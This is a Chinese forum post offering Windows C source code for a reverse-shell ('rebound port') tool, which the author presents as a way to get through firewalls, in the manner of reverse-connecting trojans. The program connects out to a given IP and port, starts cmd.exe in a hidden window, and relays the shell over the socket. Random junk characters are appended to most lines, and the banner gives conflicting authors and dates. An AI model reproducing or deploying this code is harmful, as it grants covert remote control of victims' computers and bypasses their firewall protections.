这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 622mNY
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/* ============================== "S[VtuxPCU
Rebound port in Windows NT "SyyOD
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By wind,2006/7 nH% /
===============================*/ y~1UU3k5
#include Ft`#]=IS
#include pWps-e
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#pragma comment(lib,"wsock32.lib") GG;M/}E9
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void OutputShell(); 9A3Q&@,
SOCKET sClient; &)fPz-s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X~G"TT$)
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void main(int argc,char **argv) tq@<8?
{ LiQs;$V
WSADATA stWsaData; IwFg1\>
int nRet; ,X\z#B
SOCKADDR_IN stSaiClient,stSaiServer; J;"XRE[%5
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if(argc != 3) X.Z?Ie
{ I U4[}x
printf("Useage:\n\rRebound DestIP DestPort\n"); ":"M/v%F
return; sNX$ =<E
} R,Tw0@{O*
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WSAStartup(MAKEWORD(2,2),&stWsaData); w^`n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !M^pL|
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stSaiClient.sin_family = AF_INET; ZQl[h7c/N
stSaiClient.sin_port = htons(0); a%(1#2^`q!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `p#A2ApA
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7GK| A{r
{ LUo3y'
printf("Bind Socket Failed!\n"); .Ji
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return; P$]Vb'Fz
} g-}Vu1w0{6
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stSaiServer.sin_family = AF_INET; ,Z>Rv Ll
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _7$j>xX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @[
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{ VWfrcSZg6M
printf("Connect Error!"); mW8CqW\Q5
return; RNX}W lo-s
} [.<vISRir
OutputShell(); e>z7?"N
} \3)%p('
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void OutputShell() CF42KNq
{ YLobBtXc9
char szBuff[1024]; Ubn5tN
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SECURITY_ATTRIBUTES stSecurityAttributes; i7fpl
OSVERSIONINFO stOsversionInfo; b> 2u>4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V!}, a@>p
STARTUPINFO stStartupInfo; 'd6hQ4Vw4
char *szShell; k,?Y`s
PROCESS_INFORMATION stProcessInformation; z=ppNP0
unsigned long lBytesRead; Nb]qY>K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <o?qpW$,>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m"x~Fjvd
stSecurityAttributes.lpSecurityDescriptor = 0; 9=<
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stSecurityAttributes.bInheritHandle = TRUE; z9dVT'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %&gx@ \v
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); })!n1kt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WUa-hm2:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Brpin
stStartupInfo.wShowWindow = SW_HIDE; AQ0L9?
stStartupInfo.hStdInput = hReadPipe; &S|laqH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JHO9d:{-
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GetVersionEx(&stOsversionInfo); Nr(WbD[T
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switch(stOsversionInfo.dwPlatformId) m,up37-{
{ %eT/:I
case 1: x!YfZ*
szShell = "command.com"; qHHWe<}OT
break; #4cuNX5m%
default: 8u+ (+25
szShell = "cmd.exe"; `H+Eo<U
break; PL8akA#
} 0IA
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o9eK7*D
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send(sClient,szMsg,77,0); KqtI^qC8
while(1) k8*=1kl"
{ 8g0& (9<)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5/*ZqrJw{"
if(lBytesRead) }%XNB1/`
{ 'QW 0K]il
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }y[o[>
send(sClient,szBuff,lBytesRead,0); {O^1WgGc[
} HQUL?URt
else ^NnZYr.
{ KR522YW
lBytesRead=recv(sClient,szBuff,1024,0); uNRGbDMA=
if(lBytesRead<=0) break; MPGQ4v i&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7rr5$,Mv
} ^ul `b
} <XLATS8Y
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return; dG)A-qbV
}